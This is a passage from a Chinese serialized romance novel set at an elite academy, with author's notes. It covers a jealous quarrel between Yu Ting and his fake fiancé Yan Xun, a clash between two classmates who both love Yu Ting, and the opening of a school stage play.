虞听心失重般一荡,他开始仔细打量管家的表情,发现对方并没有很高兴的样子。 “成绩……怎么样?”虞听抿了抿唇。 管家礼貌地笑笑:“少爷成绩非常优异,以第三名的名次被录取了。” 虞听长吁口气,靠在墙上,感觉小腿都软了。他回过神,忍不住笑着嗔了一句:“干嘛这么沉重,我还以为出什么岔子了!” 管家还是笑笑,也不辩解:“小虞少爷上楼吧,玄关冷。” 虞听把碍手的东西塞给管家,电梯也不坐了,快步上楼。到了燕寻房间门外,安珀罗斯正拿着羽毛掸子擦灰,看见虞听过来,也强作笑容:“回来了小虞少爷。” “你们一个一个都是怎么了?”虞听不解,“笑得比哭还难看。” 安珀罗斯左顾右盼,凑上来,掸子差点怼到虞听脸上:“小虞少爷,少爷他回来之后一直在书房,刚才我进去给他送茶,看见窗户开了,少爷他在窗边站着。” 虞听:“哦。” 安珀罗斯神秘兮兮,伸出两根手指:“根据屋里的气温,他至少站了二十分钟!” “……”虞听:“谢谢你通风报信,但是然后呢?” “我也不知道,”安珀罗斯正色道,“但是我总感觉哪里不对。少爷,你随机应变啊,少爷他瞧着脸色真的很差。” 虞听嗤笑:“都金榜题名了还有什么不高兴的。行了行了,去休息吧,有什么活明天再做。” 安珀罗斯对他努努嘴,一脸高深莫测地扛着羽毛掸子走了。 虞听敲敲门,把门推开。一股春寒倒灌进门缝,他已经脱了大衣和外套,只穿了件长袖卫衣,忍不住一个哆嗦。 书桌上开了盏台灯,微弱的光线将一道长而淡的影子打在装了满墙书的书架上。燕寻穿着衬衫马甲,黑色长裤,背对着虞听站在窗前,窗台上放着一杯早就冷掉的茶。 虞听反手带上门,清清嗓:“燕少,恭喜你被伊斯特芬录取!” 燕寻挺拔的后背纹丝不动,只有搭在窗台上的一只手曲指轻轻叩着。台灯灯光太弱,窗户上映出一张朦胧的脸,看不清他的表情。 虞听上前:“在国外一切还顺利吧?看在今天是你大好日子的份儿上,我就不和你计较不回我消息的事了。有没有捎给我一件伴手礼?” 回答他的只有窗外的一阵微风。 燕寻目视窗外,不知道的还以为他突然兴致大发想要观星。 虞听不耐烦了:“干嘛,装深沉?” 燕寻侧过身来。四目相对,那双黑沉的眸子像寒铁的刃,目光不逼人,只是簌簌的冷。 虞听怔了一秒,目光下意识扫过青年的脸。 他说:“燕……” “虞听,”燕寻沉声说,“你瘦了。” 虞听蓦地失语。你瘦了三个字,从燕寻嘴里讲出来,沉重得好像一桩罪。 “还好吧。”虞听发现燕寻确实心情不佳了,又不知缘由,只好先软化一些,“那个,是在国外遇到什么事了吗?我看你好像有心事。” 燕寻的脸被冰封了一样,说不上阴沉,却很淡漠。 “在国外一切都好。”他终于开口说出第一句算是回应的话。 虞听尴尬地眨眨眼睛,强作笑容:“被录取之后应该很忙吧?你申请了提前毕业,正式报道之前还要做不少事情……” “嗯。”燕寻挪开眼,“你有什么事吗?” 虞听哽了哽:“燕寻,你回奥林德也不说一声,这也就罢了,我又没招你惹你,你臭着脸给谁看?” 燕寻面向窗外。虞听偏要和他对峙,三步并作两步走到他身旁瞪着他,一副必须给个说法的模样。 燕寻垂下眼帘,看着庄园的大门。 两道长长的光柱一闪,一辆停在大门口的劳斯莱斯闪灵发动,倒回车道,慢慢离开。 “是啊,”燕寻幽幽地说,“招惹这两个字,本来就无从谈起。要说招惹,也该是我招惹你才对。” “你说什么?”虞听一时懵了。 燕寻闭上眼。 他恨自己眼力太好,否则车内某人被尤里乌斯拉扯住不放的模样,也不会被深刻地烙入他的虹膜。 “最近你应该很忙吧。”燕寻平静地说,“为了那个舞台剧,这么晚才回家。” “我——”虞听转头向窗外看了一眼,觑起眼睛,“等等,那不是尤里乌斯的车么?” 他又看着燕寻:“你看见了?” 燕寻倏地侧过头瞬也不瞬地盯着他。 “你的意思是我不该看见,不该过问?”他问。 “我什么时候这么说了!”虞听哭笑不得,“我没想让尤里乌斯送我回来,他非要……” “你的青梅竹马送你回家本来也是情理之中,不必向我解释。”燕寻说着自嘲地笑了一笑,“我只是个假未婚夫,过问这些岂不是越界。” 虞听脑子嗡嗡作响。眼前这个燕寻像是换了个人,他甚至开始思考对方是不是也被穿越了之类的可能性。 “从小长大的情谊肯定是拿来作秀的未婚夫比不上的吧。”燕寻喉结滚了滚,“你就会叫他的名字,尤里乌斯。” “我对谁都这么叫,”虞听也气笑了,“我还管希莱尔·欧文叫希莱尔,管小时候的尤里乌斯叫尤尔呢。这能证明什么?” “哦,”燕寻微微扬起下巴,“风纪部长希莱尔。差点忘了那家伙了。” 虞听莫名感到背后一阵凉飕飕。 燕寻睨了一眼闪灵开走的那条车道:“那个和你孽缘颇深的希莱尔·欧文,还有你的竹马尤尔,他们很早就像苍蝇一样围在你身边了,对么?” “燕寻!”虞听终于怒了,“你大老远赶回来,就是为了对我阴阳怪气?亏我还真心为你考上伊斯特芬高兴!” 燕寻又看向虞听。 “你是替我高兴么?”燕寻冷冷道,“虞听,你是为你自己能够早日摆脱我而高兴。” 虞听腾地窜起一股无名火:“我不是!” “那是为了什么?”燕寻上前一步,二人目光相撞。 他沉声问:“我考上伊斯特芬,除了能够还你一个自由清白身,还能够给你什么?” 熊熊燃着的火熄灭了。 虞听瞠目,脑子里短路般一阵空白。 燕寻目光仿佛要将他钉死在自己眸中,开口时竟然多了分沙哑。 “虞听,我真恨你这么高兴。”他说,“尤里乌斯的车在门口停了很久你才下车,你们都说了些什么?” 虞听张了张唇:“只是闲聊。” 燕寻了然地颔首,哼笑。 “只是闲聊啊。”他感慨,“不要紧,你的事我原也无权问东问西。不方便告诉我,直说就是。” “我们……” “你知道么虞听,”燕寻打断他,“尤里乌斯把车停在门口的时候,我想了一百种做法,可我的双腿就像焊死在地板上一样动也不能动,因为我知道我什么都做不了,做什么都是错。” 恨来恨去,只恨没有一席之地。 来迟一步,连嫉妒都是错。 虞听看了他很久,缓慢摇头:“燕寻,你今天真的莫名其妙。我认识的燕寻不是一个会斤斤计较,伤春悲秋的人。” 燕寻靠在窗台边,挪开视线不再与他对视。 “伴手礼已经放到你房间了。我在那边认识几位三星米其林甜点师,空运回来的。”他望着满墙的大部头,“睡前别吃太多,你胃肠弱,容易睡不好觉。爱吃的话我让帕雷拜托那边继续空运来。” 虞听冷笑:“让安珀罗斯把东西都拿出去,看见你的礼物我倒胃口。” 燕寻抱着胳膊不说话。虞听转身就往门口走,刚要开门,脚步却又顿住。 他头也不回:“正式演出正好安排在你们这批提前毕业的优秀学生在学院的最后一天。在那之前没几次正式排练了,你来不来看?” 燕寻仍然别过头:“我就不去了,打扰你和你的朋友们不说,还只会扫兴。” 房门砰的一声关上。 燕寻闭上眼睛。孤灯只照亮了他半张脸,青年深邃的燕窝笼罩在阴霾里,嘴唇抿成一条紧绷的弦。 时间一分一秒过去,他却依旧独自站着,冷风拂过桌面,吹起一张崭新的、印着烫金花体字的入学通知书。 纸片尘埃一般滑到燕寻脚边,却仿佛一息萌动落入心田,尘落静无声,心里的妄念却轰然缭乱—— 作者有话说:说起来,烟熏哥的确是个略带大男子主义的性格,不过让小鱼拿下这种大男子主义者,让其在自卑的情绪中患得患失,吃醋失态,何尝不是一种更有挑战性的驯服[狗头] 烟熏哥:他才不是为我高兴[小丑]他想离开我[小丑]他要跟别的男人跑了[小丑]…… 第38章 第 38 章 你喜欢他吧,希莱尔·欧…… “忙什么呢, 小听?” 虞听捧着喷壶转过身,对裹着披肩笑盈盈走来的燕夫人点头:“伯母。” “朱丽叶玫瑰,你也喜欢这个?”燕夫人执过虞听的手, 接过小喷壶,“大周末的, 在这伺候它。” “这花开得好,我也喜欢。”虞听笑笑,“医生说了, 我锻炼太少, 应该多走动走动。我买了些朱丽叶玫瑰专用的营养液……” 没说完虞听便侧身咳嗽起来, 燕夫人搂住虞听, 皱着眉轻轻拍着他的后背:“什么医生不医生的, 净出馊主意。你呀, 好好歇着才是要紧,瞧这小脸苍白的……我和燕寻都养了花,让安珀罗斯把你的花搬过去和燕寻的放在一起, 顺便都照料了。” 虞听咳嗽着, 被燕夫人扶着一起在沙发上坐下,用手帕捂着唇, 眼尾通红。 “这不大好,伯母。”虞听嗓音沙哑。 “客气什么?朱丽叶玫瑰,安珀罗斯也是会侍弄的。” 小小一方手帕几乎包住虞听大半张脸,他把鼻尖埋进去, 嘟哝。 “什么?”燕夫人侧耳。 “……这是他送我的花”虞听说, “拿回去,他会多心。” 燕夫人看了他一会儿,捏捏他的脖颈, 像捏小猫的后颈肉。 “和小寻吵架了?”燕夫人问。 虞听飞速地看了燕夫人一眼又垂眸,长长的睫羽遮不住眼中讶色。 “没。”虞听悻悻道。 燕夫人轻哼:“胡说。小听,看着我眼睛再说一次哦?” 虞听偏过头剧烈咳嗽,手帕盖不住泛红的颧骨。 “那臭小子就是这么个性子,你们两个往后磨合,指不定会委屈你。”燕夫人摸着虞听的肩膀,“别难过,我和你燕伯父狠狠批评他。” 虞听拉住燕夫人的手:“伯母,千万别。” 燕夫人挑眉看着他。 “燕寻他太紧绷了,太紧绷的人就会想思虑太重。”虞听说,“这样的个性,即便心里有想亲近的人,最后也会慢慢疏远的。你们批评他,他反倒会想多了。” “好孩子,你已经很委婉了,”燕夫人歪头宠溺地看着他,“燕寻是我生的,我最了解他不过,这臭小子从小就装成小大人,装着装着,连他自己都觉得他无所不能,无所不知……和他老爸一样,不知道端着个什么劲。” 虞听偷偷看燕夫人:“真的?” “骗你干嘛。”燕夫人说,“他九岁那年新年,我和你伯父逗他:‘你要有未来的燕氏主人翁意识,今年就把你的压岁钱拿来给家里的佣人管家,还有所有工作人员发红包吧。’结果燕寻真的照做了!” “他那时也不过是小屁孩一个,可红包拿到手里还没捂热就被发出去了,分得一毛不剩。那天我和你伯父都看出来他心不在焉的,后来听管家说,他原本计划好了要用压岁钱买一辆限量款的模型赛车。” “然后呢?他没有央求你们给他买模型赛车,或者补偿他的压岁钱?” “什么都没有,后来还是我这个当妈的心软了,几周之后找了个由头把他心心念念的模型赛车补上。”燕夫人说,“有时候说说心里话就能解决的事,他偏不,宁可撞得头破血流也不回头。男孩子坚强一些是好,但太过了也实在是个麻烦……” 两个人不约而同地叹气。燕夫人忽然拍了一下虞听的大腿:“我想起来了,医生说急火攻心,你这两天咳嗽的毛病又犯了,会不会就是被燕寻这孩子气的?!” “伯母,不是说医生的话不能信吗!”虞听失笑,“您就别担心了,燕寻的事……” 他的尾音难以抑制地发涩:“我们的事很快就会结束了。” “也是,我是关心则乱了,”燕夫人不觉有他,笑道,“谁家小两口都是这么过来的嘛。再者说,你受了委屈,我和你伯父不答应,我那两位亲家也不会允许啊。” 虞听心不在焉地叠着手帕:“说起来,伯母,这两天怎么一直没见到燕寻,他在忙着结业还是伊斯特芬的事?” “这就开始打听他的下落了?”燕夫人笑眯眯的,“今天早上那臭小子问候我早安的时候还拐弯抹角地询问你,当时我还奇怪,旁敲侧击地问些什么……” 虞听尴尬得险些把刚叠好的手帕揉乱,燕夫人哈哈一笑:“两样都猜错了,小听,虞中将的提案马上就要最后一次议院内部公投,燕寻帮他的伯父盯着呢。有燕氏和虞家的人脉在,谁也不会坏事的,放心。” 虞听眨眨眼:“……您说什么?” “我说,和那几位立场不明的议员也已经谈过了,他们表示会考虑接受虞家的提议,让我们安排与虞中将会谈。”电话里秘书帕雷说,“少爷,这已经是您第三次让我重复刚说过的话了,我还是第一次见您这么不在状态。” 燕寻靠坐回椅子里:“跨国电话信号不大好。” 帕雷笑呵呵地嗯了一声,不多话。 燕寻垂眼翻着桌上厚厚的文件,电话两边一时都没人率先开口。 过了一会儿,还是帕雷打破沉默:“您让我运回去的伴手礼,小虞先生还满意吗?” “凑合吧。”燕寻拿起钢笔。 “当时您胸有成竹,说以您对未婚夫口味的了解,他一定会非常喜欢。”帕雷说,“非常喜欢的东西不会凑合,凑合就是不好。” 钢笔尖顿在纸面,洇开一片墨迹。 燕寻看着文件上一片密密麻麻,一个字都看不进去。 “是啊,”他说,“凑合就是不好,就是不顺心意。” 他又想起什么:“帕雷,我记得你天生就是蓝眼睛。” “是的少爷。” “我家有个叫安珀罗斯的佣人也是蓝眼珠。”燕寻放下钢笔,揉了揉眉心,“他和虞听的关系就不错。他是不是喜欢蓝眼睛而不自知?” 这下帕雷笑不出来:“少爷,我想这只是巧合……而且您确定要把安珀罗斯,还有我这个与您未婚夫素未谋面的员工也纳入竞争范围么?” 燕寻捏着皱起的眉头,满脸疲惫。 帕雷:“上次您委托我的事,的确有了点眉目。” 帕雷能在父亲身边做那么多年的心腹,又被外派出国,名义上是总办一把手,实际就是燕氏在外的代言人,和他出色的工作能力分不开。听闻来到燕氏之前,他在大型猎头公司与咨询公司都待过,调查能力不亚于专业私家侦探。 燕寻放下手:“说下去。” 帕雷忽然笑了:“调查到的东西发到您的邮箱了。跨国电话信号不好,我怕您听不清。” 燕寻嗤笑:“挂了。” 电话挂断,燕寻打开邮箱,翻看帕雷整理的文档,看着看着,青年锋利的浓眉紧蹙,眸色愈发沉肃下来。 * 赛罗米尔社团活动楼。 “见鬼,平时空的活动室那么多,偏偏今天想找个喝酒的地方都没有!” “还不是因为那个校庆……将就一下吧。刚才说到哪儿来着?” 几个佩戴风纪部袖标的男生拉开书包拉链,把里面的啤酒倒在活动室的圆桌上。在赛罗米尔,学生严谨在教学楼或活动室饮酒,不过风纪部的人经常灯下黑。 比起在夜场酒吧一掷千金,违反校规的刺激感低级却纯粹。低年级男生们嬉笑着,互相碰杯,几瓶酒下肚,聊天内容也愈发上不得台面。 “你们谁有我惨?那个狗屁舞台剧,我被叫去灯光组,真是头疼死了……” “听说F4都有人参演呢,你抱怨个什么劲?” 不知道谁大着舌头问了一句:“哥们儿,听说三年级的虞听在里面反串了一个女角色,是不是真的?” 门外光线错动,一个人影闪过。喝嗨了的学生们谁也没留意,其中一个大手一挥: “真的啊!虞听——”他打了个酒嗝,“上次排练还穿了戏服呢,是那种特别夸张的宫廷露背裙装!” 小伙子们不约而同大声起哄,男生愈发得意,却没听到外头的脚步声顿住了。 “这间活动室怎么也被占上了?”门外走廊,路过的希莱尔啧了一声。 和他同行的林抚单肩挎着书包。也不知太阳打哪边出来,希莱尔居然拜托自己唯一的好兄弟为他课后答疑,偏偏风纪委员大人面皮薄,于是好端端的一件事愣是变得如此鬼鬼祟祟,沦落到要来找空闲活动室的地步。 “走吧,看起来像是社团活动。“林抚说,”实在不行找个咖啡厅算了。” “等等,这些不是我的部员么?”希莱尔透过门玻璃看了一眼,大惊,“我现在就让他们把活动室腾出来。” “他们或许是有活动呢?” “扯淡,他们有没有活动我能不知道?”希莱尔不屑,“平时聚众喝酒也就罢了……” 他习惯性要直接踹开门,被林抚拉住:“等等,他们刚才在说什么?” 希莱尔忍住翻白眼的冲动,就这一秒,低年级学生们的声音隔着一扇门板传入两个人耳中。 “可惜那裙子太长,不然以那么大的裙撑,在台下还不是轻轻松松看到裙底?”参与灯光组排练的男生还在夸夸其谈,“我们班的同学说一年级那个姓陆的特招生长得像虞听,现在站在一块儿,怎么说呢……像是像,不过哪有虞听好看啊?” “可惜虞听不是女主角……” “皇后的扮相可吸睛着呢!”男生摸着下巴,和几个人心照不宣地对视,渐渐笑得肩膀发抖,“听说虞听出过车祸,好险没有死掉,你们还真别说,那小腰瘦得……要是戴了假发化了妆,指不定比夜场最妩媚的女人还——” 门砰的被踹开,弹在墙上又撞回来:“狗东西,有种把话再说一遍!!” 满屋子人都惊呆了,希莱尔站在门口,眼神像要吃人。 他抬脚就要迈进门:“你们他妈.的——” 一阵风贴着他的胳膊刮过,噗通! 出言不逊的男学生从椅子上摔了个人仰马翻,林抚挽起袖子,在众人活见鬼的注视下,肌肉贲张的手臂揪着衣领一把将人单手拎了起来。 “滚得越远越好。”林抚嘴唇轻微翕动,目光像烧红后在冰水里淬过的刀,“再让我听到你大放厥词,你就死定了。听懂了没?” 男生的脸涨成缺氧的绛色,抓着林抚的手拼命点头。 其余学生都喽啰一样站着,也跟着纷纷点头如捣蒜。 在如同微缩上流社会的赛罗米尔,等级分明是从小刻在学生们骨子里,比姓名都不会忘记的铁律。 更何况发飙的是好学生模板的林抚,他们不敢也无力反抗。 风纪部的学生被学神胖揍成猪头,说出去谁会信? “听懂了还不快滚!”林抚喝道。 低年级学生们屁滚尿流地跑了。在等级森严的赛罗米尔,他们连辩护一句的余地都没有。 希莱尔踹了最后一个出去的那个造谣者一脚,恶狠狠地瞪着他们灰溜溜地离开,紧接着反手将门咚的一把甩上。 他把掀翻的椅子踢到一边,在林抚面前坐下来。 明明多嘴的人都走了,他的脸色还是黑得可怕。 希莱尔幽绿的眼珠转动,盯着林抚,后者脸上的怒气一点点消褪了,好整以暇地靠在桌边。 “你为什么要出手。”希莱尔沉声质问。 林抚目光不瞬地回看着他。 “刚刚你也想要这么做,不是么。”他说。 “我在管教我自己的部员,”希莱尔提高嗓门,他虽然蛮横,但从没用这种威胁的语气和兄弟这么说过话,“而你在越过我教训他们!” 林抚同样回以冷冰冰的眼神。 他们在彼此面前突然都变得很陌生,过去三年不要说这种一言不合就吵起来,他们甚至极少如此针锋相对或者咄咄逼人。曾经有很多人质疑希莱尔和林抚这对反义词为什么会成为朋友,但他们确实成为了。 林抚忽然有点想笑。现在他们看起来一定很荒唐,就像一开始多少人觉得他们这种水火不容的个性会成为朋友一样。 “我还是第一次见到你这样,林抚。”希莱尔嘶嘶的声音像蛇,那双罕见的瞳孔更像,“能让你暴怒的事情可不多。如果不是亲眼所见,我甚至以为没有什么会让你大动肝火。” “那你又为什么想教训你的风纪部员?”林抚不紧不慢反问。 “他们满口污言秽语你没听见么,”希莱尔没好气道,“身为风纪部员,竟然聚在一起讲别人的下流话,令人不齿!” “谁的下流话?” “你他妈聋了吗?”希莱尔一拍桌子,“他们在说——虞听!没错就是虞听!他们把虞听讲得那么不堪!” “因为这个?”林抚冷冰冰道,“过去这三年你说虞听的坏话加起来可以填满学院的人工湖。” “放屁,我说过这种下流的、不堪入耳的话吗!” “至少证明你也没资格教训他们。” 林抚有心灵感应似的一偏头,一瓶空易拉罐擦着他的鬓角嗖地飞过,砸在墙上。 “我没资格?”希莱尔吼道,“我没资格?!” 他像矫健的豹子一般扑过来,抓住林抚的外套衣襟,林抚被推到墙上,眼镜掉在地面,在挣扎中不知被谁一脚将镜片踩得粉碎。 “整个学院的人都死绝了,也轮不到你说这句话!”希莱尔脸几乎贴着林抚的脸低吼,“你以为自己成绩好,受那些蠢货老师的喜欢就很了不起,很高高在上?林抚,别忘了你在林家是最不受宠的小孩,你那些哥哥姐姐欺负你的时候,除了我,连你的亲爸亲妈都不会为你撑腰!” 字字锥心,林抚的脸却麻木地毫无波动。 他扳住希莱尔的肩膀,二人掎角一样僵持着。 “……所以呢。”林抚被勒得喘着气。 “没资格的人是你,”希莱尔腾出一只手指着林抚的鼻尖,目眦欲裂,“少来跟我抢,否则别怪我翻脸。” 林抚嘴角微微一动:“抢什么?” 希莱尔:“抢老子的风头,抢老子的——” 他忽然张着嘴巴不动了,眉间渐渐皱起一个深深的川字。 林抚狠狠推了希莱尔一把,他们终于分开,希莱尔踉跄着倒退一步,扶住桌子才勉强站稳。毫无征兆的,他变得魂不守舍,像一个突然找回过去的失忆症患者,目光不自觉地坠下,失神地望着林抚的鞋尖。 林抚整了整衣领,冷冷嗤笑。 “终于说出来了,希莱尔。”他从地上捡起眼镜框,吹了吹灰,折好镜腿挂在胸前的口袋。 而后他抬起头。 “你喜欢他吧,”林抚低声说,“希莱尔·欧文。” 希莱尔浑身一震,颓然坐在一把椅子上,垂头眨也不眨地盯着地板。 良久。 “……那你呢,”林抚听见希莱尔沉锈住了似的声音,“你又是因为什么那样愤怒?” 林抚闭了闭眼,转过身去面向窗外。 背后传来桌子被推翻,东西被砸得稀巴烂的声音,林抚睁开眼,没了眼镜遮挡,青年眉目如雕刻的大理石雕塑,鼻梁仿佛刀刻般笔直英挺。 噪音慢慢消失了,只剩下希莱尔粗重的呼吸声。 “你在开玩笑么林抚,”希莱尔沉重的脚步声靠近,“你想和我希莱尔竞争是么?嗯?” 希莱尔走到林抚身边:“那就放马过来好了。虞听他会多看你哪怕一眼吗?” 他像是听见什么天大的笑话,沙哑地呵呵笑了,攥拳推了林抚胸口一把:“虞听私下里和你有过多亲密么?一定没有吧。你在他心里根本什么都不是。可你知道他对我说过什么吗?” 林抚头一分都没有偏:“我猜他说你像他的一条狗,对吗。” 希莱尔愣住了。 林抚侧过脸看着他:“果然是这样啊。你在他眼里当然是这副模样了希莱尔,一条表面上对着他狂吠,但尾巴摇得比谁都欢、给你个笑脸就恨不得昭告全世界的狗,一条主人招招手就把什么都忘了也要飞奔过去的小狗。” 他迈了一步,看着希莱尔被逼退半步:“你当然是虞听的乖乖小狗了,谁会讨厌为自己冲锋陷阵,上一秒还撒泼打滚,下一秒稍微哄两句就乐得晕头转向的忠犬呢?” “我没有!”希莱尔脖颈青筋暴起,“我——” 他大手一挥:“我只是觉得车祸之后的虞听变得不一样了!他希望我不要自甘堕落,也不想我为了迎合任何人去变好,他,他还夸过我可爱,像……他以前从不做这种多余的事!” “那又如何呢,”林抚静静观望希莱尔眼底的慌乱,“就算你我爱上的都是现在这个虞听不假……可现在的虞听不属于我们任何一个。” 希莱尔嘴唇一哆嗦:“你他妈闭嘴!” “别自我麻痹了,燕寻才是虞听名正言顺的未婚夫!”林抚吼道。 希莱尔浑身一震,如遭当头棒喝。 他不由自主后退,林抚瞪着他,粗重的呼吸慢慢平息下来,眼里滔天的怒潮一点点退去,剩下无尽的悲哀。 “我们不配的。”林抚说,“无论是你还是我,都不配。虞听他……是个好到无论谁站在他身边,都会黯然失色的人啊。” 希莱尔跌坐回椅子里,把脸埋进手掌。没有眼泪顺着他的指缝流出,可青年宽阔的肩膀和背却塌下来,像倾颓的山,沉没的岛。 他说不出话。论实打实的口才他本就是不如林抚的,在这件事上,事实比雄辩更加压倒性地击垮了他筑好的防线。 许久,希莱尔凸起的喉结上下滑动。 “我当然知道自己不配。”他恍惚地说,“我只是……只是不想输。” 林抚望着满屋狼藉,眸色黯淡。 “我们不是输给燕寻,是输给了无望的爱啊,希莱尔。”林抚轻轻地说—— 作者有话说:“自作多情的沦陷,是我对你苦恋的开端。” = 比起希莱尔这种头脑简单但敢爱敢恨的性格,林同学确实是又沉沦又清醒了…不过清醒何尝不是痛苦的来源呢? 第39章 第 39 章 我将用这把剑斩断拦路的…… 一个月后。 虞听现在心情不太美妙。 赛罗米尔的大礼堂座无虚席, 海浪一般的低频即便在后台也清晰可闻。舞台剧的演员们整装待发,妆造组的学生们在拥挤的人群中举着化妆刷和粉扑穿梭,见缝插针地给紧张冒汗的演员们挨个补妆。 “还有五分钟, ”红发导演也肉眼可见的紧张,交警一样挥着胳膊指挥, “第一幕的演员赶紧去舞台侧方准备!” 礼服裙的束腰即便彩排时穿了很多遍还是不能习惯,虞听颇有点勒得喘不过气,戴在头上的假发和眼皮上的假睫毛也痒痒的, 高跟鞋磨得脚后跟痛, 浑身上下实在没有一处是舒服的。 “虞听学长, ”一个道具组的同学喊他, “麻烦让一下好吗?道具会刮坏你的裙子……” 后台人满为患, 虞听在人群中艰难侧过身, 顺势找了把椅子坐下,这才松了口气,看着道具组的两个同学吃力地抬着一口“水晶棺”向候场区挪动。 说是水晶棺, 其实不过是用玻璃打造、里面铺满鲜花的玻璃“棺材”。剧本里海默教授非常艺术性地借鉴了古今童话中王子用吻唤醒公主的桥段, 最后一幕中陆月章饰演的公主就要躺在这口水晶棺里,等待王子落在他额头的轻吻。 因为道具太沉重, 排练时始终没有启用过水晶棺,希莱尔对这个情节也格外抵触,每每排练到此都会找各种借口糊弄过去。如今到了正式演出,恐怕他是再也没法搪塞了。 虞听抓着剧本扇风, 想到希莱尔这一个月来每次排练时面对自己支支吾吾眼神躲闪的样子, 一时忍俊不禁。 但想到另一个人,他忽然又笑不出来。 回国一个月,燕寻和他的“冷战”也莫名其妙持续了一个月。 平心而论, 他们还是礼貌地正常交流,燕寻依旧间接地、无微不至地关怀他,可他们彼此又都知道这根本不算什么“和好”,客客气气相敬如宾可绝不是他们之间该有的状态。 虞听知道,燕寻还是申请了提前毕业,和伊斯特芬军校考试相比,提前毕业就像玩儿一样简单。 数着日子,今天该是燕少爷在校的最后一天。 学院和文体部都希望将舞台剧作为校庆和欢送毕业生的双重献礼。只是不知道,这位燕少爷究竟会不会来。 “第一幕的演员上场,其他人准备!” 导演压低嗓子招呼,道具组和妆造组的学生们比演员还忙,加快手上的速度,搬东西的搬东西,检查道具的检查道具,补妆的补妆。 虞听挥手示意一个凑上来的化妆组同学去照看其他人,扶着墙站起来,七厘米的高跟鞋他还是第一次穿,走路时总感觉像踩了高跷。 “去候场!”导演催促道。 几个身影从自己身边掠过,排练次数多了,根据戏服虞听都能认出来是那几位主演们,陆月章一如既往的在这种大场合掩饰不住的紧张,口中念念有词;尤里乌斯像童话书上走下来的高贵王室,路过虞听时他却没说话,事实上自从那次车上谈话后,尤里乌斯就再没私下和他接触过。 再就是林抚和希莱尔,两个人一前一后从踩着高跟鞋慢吞吞移动的虞听旁边路过,这一个月学院不知怎的传出二人不和的流言,说得有鼻子有眼的,但不管如何,两人也很少有事找上虞听,他乐于落得清闲。 又有一个穿着黑袍的演员路过,那是扮演反派吸血鬼魔王的四年级学生,虞听的王后和魔王没有戏份交集,和演员更无私交,或许是因为这个角色原定是燕寻出演的缘故,全体排演时虞听总会忍不住多看这个角色两眼。 穿高跟鞋走得脚掌痛,虞听扶着墙慢慢走,突然发现希莱尔停下来,侧过身看着他,伸出手。 “我扶你吧。”希莱尔撇撇嘴,“瞧你慢得像蜗牛。” “嘶——你穿一次高跟鞋试试。” 这么说着,虞听还是抓住希莱尔的手:“你手心怎么有汗?希莱尔,你不会真的对上台表演感到紧张吧?” “胡说,这点事本少爷会放在心上?”希莱尔冷哼,目光却僵硬地目视前方,只要他视线往虞听的方向偏一点,身高差会让他不想看也得看见对方低胸晚礼服前露出大片的苍白皮肤。 他们走到候场区才放开手,许多候场的同学见是二人,纷纷把本就不富裕的空间让出来。 希莱尔忽然听见虞听叫他:“希莱尔。” 希莱尔侧目,虞听望着他,那张脸在黑色长卷发的修饰下不仅不古怪滑稽,反而更加清秀。 “谢谢。”虞听说,“最近这一个月,我听很多老师都惊讶于你像变了个人。” 希莱尔嘴巴鼓了鼓:“是么?” “我也看在眼里,”虞听道,“这一个月你不翘课,课上也安安静静的,对其他同学也不像以前那样没有耐心。” 希莱尔想起刚刚自己还用阴沉的眼神默默逼退每一个目光在虞听身上流连的家伙,挠挠头:“我自己倒没感觉有什么。” “我为你的改变感到高兴。”虞听说。 希莱尔睁大眼睛看着他,好半天才粗声粗气地来了一句:“谁要你管了?真是好笑……本少爷想怎么样就怎么样……” “哦,小狗害羞了。”虞听笑话他。 希莱尔的脊椎骨一节一节僵硬石化。死对头果然还是死对头啊,一句话就让他想要找个地缝钻进去,功力非同小可……而且他是不是又擅自叫自己小狗了? 虞听笑着重新看向舞台上方。 灯光组花费了好一番心思,将舞台最上面加装了道具水晶吊灯,对于赛罗米尔这种贵族学院来说这点经费不算什么,大手笔换来的自然是华丽的舞台效果,在灯光加持下,这纯属装饰用的布景道具光芒四射,鎏金一般闪耀极了。 “好,不说这个了。”虞听抱着胳膊,王后端庄的扮相让他这个普通的动作看起来都略显豪迈,“这布景还真有那么点意思……就是临时加装的吊绳,观众视角看不见,从咱们这个角度看起来还真有点危险。” “都是碳纤维材料,”希莱尔还沉浸在刚才的恼羞成怒中,声音干巴巴的,“怎么可能会出事,以前举办歌唱比赛,那些灯光和音响设备比一盏水晶吊灯重多了,还不是照样……” 他余光看向虞听,忽然差点咬了舌头。虞听不知何时已经没有抬头看着那道具的方向,而是向观众席看去,眉毛蹙着,嘴唇出神地微张。 顺着虞听的视线看去,希莱尔恰好能看到观众席第一排,那里是留给今年提前毕业的唯一一批四年级学生的坐席,每个人的座椅上都贴了名牌,最中间一个座位空着,上面清楚地印着一个熟悉的名字。 “燕寻没来看你的演出?”希莱尔脱口而出,随即嘲讽一笑,“就这还配当别人的未婚夫,真是失职……我早说了,燕氏都是这种自私的……” 他渐渐不说话了。虞听抿紧嘴唇,睫羽垂落,要不是妆造组为他颧骨扫了些腮红,青年脸上恐怕看不见一丝血色。 “你,你别难过,”希莱尔磕巴了一下,“有必要为一个自大狂的缺席这么伤心么?他不来是他的损失,是他错过了你今天这么漂亮的装扮!我是说,不是本少爷觉得你漂亮啦,在我眼里你算勉勉强强……” 虞听忽然在希莱尔背后轻轻推了一把:“快到你上台了。” 希莱尔一怔:“唔。” 舞台恰好暗下来,希莱尔迈上台阶,跟着搬运道具的学生一同上台。 位置站定,无关人等撤下,舞台灯光亮起。台下爆发出一片惊叹声,说不上是为了希莱尔那俊俏不羁的王子装扮,还是为了亲眼见到希莱尔会同意出演舞台剧男一号这事本身。 按照排练过上百次的那样,希莱尔走了一步,拔出腰间的道具佩剑。 他扫了眼舞台侧方,拉起的幕布让除了舞台上的演员们之外任何人都看不见候场区,虞听正和所有人一样望着他,漆黑额的眸子被灯光映出一点亮晶晶的高光。 希莱尔握紧了长剑,直视虞听的眼睛。 “我的心之所向,”他背出他的第一句独白,“我认定的此生挚爱……” 台下的风纪部学生们兴奋极了,不分时机地欢呼鼓掌,其他观众在底下兴高采烈地交头接耳,可希莱尔什么都听不到了,他身穿王子的华服,在万众瞩目下郑重地挥剑,像一个真正的贵族绅士那样,字字落地有声。 “所有的试炼都放马过来吧,”他一字一顿,“我将用这把剑斩断拦路的魔鬼的喉咙,捍卫我不变的心!” * 主演们一个一个粉墨登场,台上台下的氛围逐渐推向高潮。 出人意料的,观众们的反响比想象中热烈许多。 这里面俗套的剧本自然没占据多少功劳。然而出演的实在都是赛罗米尔学院内名号不小的人物,算是校园圈子内的“大咖”。 